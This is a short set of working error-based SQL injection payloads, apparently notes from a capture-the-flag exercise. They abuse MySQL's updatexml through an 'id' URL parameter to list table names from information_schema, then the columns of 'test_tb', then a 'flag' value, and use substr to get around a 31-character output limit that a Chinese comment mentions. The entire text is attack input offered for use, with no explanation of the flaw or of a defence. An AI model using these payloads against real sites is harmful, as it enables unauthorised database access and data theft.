?id=1' and updatexml(1,concat('~',substr((select group_concat(table_name)from information_schema.tables where table_schema='test_db'),1,31),'~'),1)--+
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'),'~'),1)--+
?id=1' and updatexml(1,concat('~',(select concat(flag) from test_tb),'~'),1)--+
updatexml只输出前31位
?id=1' and updatexml(1,concat('~',substr((select concat(flag) from test_tb),31,60),'~'),1)--+